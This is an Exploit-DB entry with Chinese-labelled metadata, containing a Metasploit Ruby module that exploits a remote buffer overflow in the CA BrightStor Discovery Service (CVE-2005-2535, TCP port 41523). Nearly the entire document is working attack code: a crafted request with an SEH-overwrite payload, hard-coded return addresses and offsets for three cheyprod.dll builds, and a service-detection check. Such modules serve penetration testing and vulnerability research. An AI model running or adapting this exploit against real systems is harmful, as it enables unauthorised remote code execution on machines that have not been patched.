标题: CA BrightStor Discovery Service - TCP Overflow (Metasploit) EDB-ID: 16408 CVE: 2005-2535 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: discovery_tcp.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA BrightStor Discovery Service TCP Overflow',
   'Description'    => %q{
     This module exploits a vulnerability in the CA BrightStor
    Discovery Service. This vulnerability occurs when a specific
    type of request is sent to the TCP listener on port 41523.
    This vulnerability was discovered by cybertronic[at]gmx.net
    and affects all known versions of the BrightStor product.
    This module is based on the 'cabrightstor_disco' exploit by
    Thor Doomen.
   },
   'Author'         => [ 'hdm', 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2005-2535'],
     [ 'OSVDB', '13814'],
     [ 'BID', '12536'],
     [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html'],
     [ 'URL', 'http://milw0rm.com/exploits/1131'],
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 2048,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Targets'        =>
    [
     [
      'cheyprod.dll 9/14/2000', # Build 1220.0 9/14/2000 7.0.1220.0
      {
       'Platform' => 'win',
       'Ret'      => 0x23803b20, # pop/pop/ret
       'Offset'   => 1032,
      },
     ],
     [
      'cheyprod.dll 12/12/2003',
      {
       'Platform' => 'win',
       'Ret'      => 0x23805714, # pop/pop/ret
       'Offset'   => 1024,
      },
     ],
     [
      'cheyprod.dll 07/21/2004',
      {
       'Platform' => 'win',
       'Ret'      => 0x23805d10, # pop/pop/ret
       'Offset'   => 1024,
      },
     ],
    ],
   'DisclosureDate' => 'Feb 14 2005',
   'DefaultTarget' => 1))

  register_options(
   [
    Opt::RPORT(41523)
   ], self.class)
 end

 def check

  # The first request should have no reply
  csock = Rex::Socket::Tcp.create(
   'PeerHost'  => datastore['RHOST'],
   'PeerPort'  => datastore['RPORT'],
   'Context'   =>
    {
     'Msf'        => framework,
     'MsfExploit' => self,
    })

  csock.put('META')
  x = csock.get_once(-1, 3)
  csock.close

  # The second request should be replied with the host name
  csock = Rex::Socket::Tcp.create(
   'PeerHost'  => datastore['RHOST'],
   'PeerPort'  => datastore['RPORT'],
   'Context'   =>
    {
     'Msf'        => framework,
     'MsfExploit' => self,
    })

  csock.put('hMETA')
  y = csock.get_once(-1, 3)
  csock.close

  if (y and not x)
   return Exploit::CheckCode::Detected
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  buf = rand_text_english(4096)

  # Overwriting the return address works well, but the only register
  # pointing back to our code is 'esp'. The following stub overwrites
  # the SEH frame instead, making things a bit easier.

  seh = generate_seh_payload(target.ret)
  buf[target['Offset'], seh.length] = seh

  # Make sure the return address is invalid to trigger SEH
  buf[ 900, 100]     = (rand(127)+128).chr * 100

  # SERVICEPC is the client host name actually =P (thanks Juliano!)
  req = "\x9b" + 'SERVICEPC' + "\x18" + [0x01020304].pack('N') + 'SERVICEPC' + "\x01\x0c\x6c\x93\xce\x18\x18\x41"
  req << buf

  sock.put(req)
  sock.get_once

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16408